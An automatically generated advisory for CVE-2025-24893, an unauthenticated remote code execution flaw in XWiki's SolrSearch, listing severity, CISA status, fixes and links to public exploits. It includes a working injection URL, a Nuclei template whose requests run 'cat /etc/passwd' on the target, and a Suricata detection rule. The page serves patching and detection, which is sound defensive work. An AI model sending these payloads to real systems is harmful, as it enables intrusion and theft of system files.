CVE-2025-24893: XWiki Platform exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28”Hello%20from”%20%2B%20”%20search%20text%3A”%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-02-20).

Weakness: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-10-30
US federal deadline: 2025-11-20
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-01880, CNNVD-202502-2186, EDB-52136, EDB-52429, EUVD-2025-4562, GHSA-rr6p-3pfg-562j, ZDI-24-1697

VEDAS cluster: VEDAS:BARIUMBEAVER

Exploit Observer links 70 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (70)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Metasploit module: https://www.rapid7.com/db/modules/exploit/multi/http/xwiki_unauth_rce_cve_2025_24893/
Exploit-DB: https://www.exploit-db.com/raw/52136
Exploit-DB: https://www.exploit-db.com/raw/52136
Exploit-DB: https://www.exploit-db.com/raw/52429
Exploit-DB: https://www.exploit-db.com/raw/52429
Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-24893.yaml
Code repository: https://github.com/0xbl4nk/cve-2025-24893
Code repository: https://github.com/0xdtc/xwiki-platform-rce-cve-2025-24893
Code repository: https://github.com/570rmbr3ak3r/xwiki-cve-2025-24893-poc
Code repository: https://github.com/80ottanta80/cve-2025-24893-poc
Code repository: https://github.com/alaxar/cve-2025-24893
Code repository: https://github.com/andwati/cve-2025-24893
and 58 more

Research and write-ups (1)

Research or write-up: https://www.zerodayinitiative.com/advisories/ZDI-24-1697

Vulnerability databases and vendor advisories (10)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2025-24893
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-4562
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2025-24893
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2025-24893
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-rr6p-3pfg-562j
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-rr6p-3pfg-562j
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-24893
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202502-2186

134 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 1.000
very likely to be attacked soon
VEDAS: 0.991
strong exploit evidence
On CISA KEV: Yes, since 2025-10-30
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 74 days before CISA confirmed attacks.

Who is affected

Product	Affected	Not affected
xwiki xwiki-platform	version >= 5.3-milestone-2, < 15.10.11 version >= 16.0.0-rc-1, < 16.4.1	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: maven org.xwiki.platform:xwiki-platform-search-solr-ui, xwiki xwiki, сообщество_свободного_программного_обеспечения xwiki_platform.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

XWiki - Code Injection
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20asyn..., GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%...); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-24893.yaml

Show the template (45 lines)

yaml

id: CVE-2025-24893

info:
  name: "XWiki - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any
    guest can perform arbitrary remote code execution through a request to `SolrSearch`.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-24893&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=xwiki&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-24893
    cwe-id: CWE-95
  metadata:
    verified: false
  tags: cve,cve2025,xwiki,rce,vkev,vuln,kev
http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20"
      - "{{BaseURL}}/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20"

    stop-at-first-match: true

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"
          - "wiki"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/rss+xml"

      - type: status
        status:
          - 200

CVE-2025-24893.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-24893 XWiki - Code Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-24893 XWiki - Code Injection"; flow:established,to_server; http.uri; content:"SolrSearch"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2025-24893; reference:url,https://www.exploit.observer/?keyword=CVE-2025-24893&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=xwiki&match=exact; sid:1008920; rev:1;)

CVE-2025-24893.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-24893 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.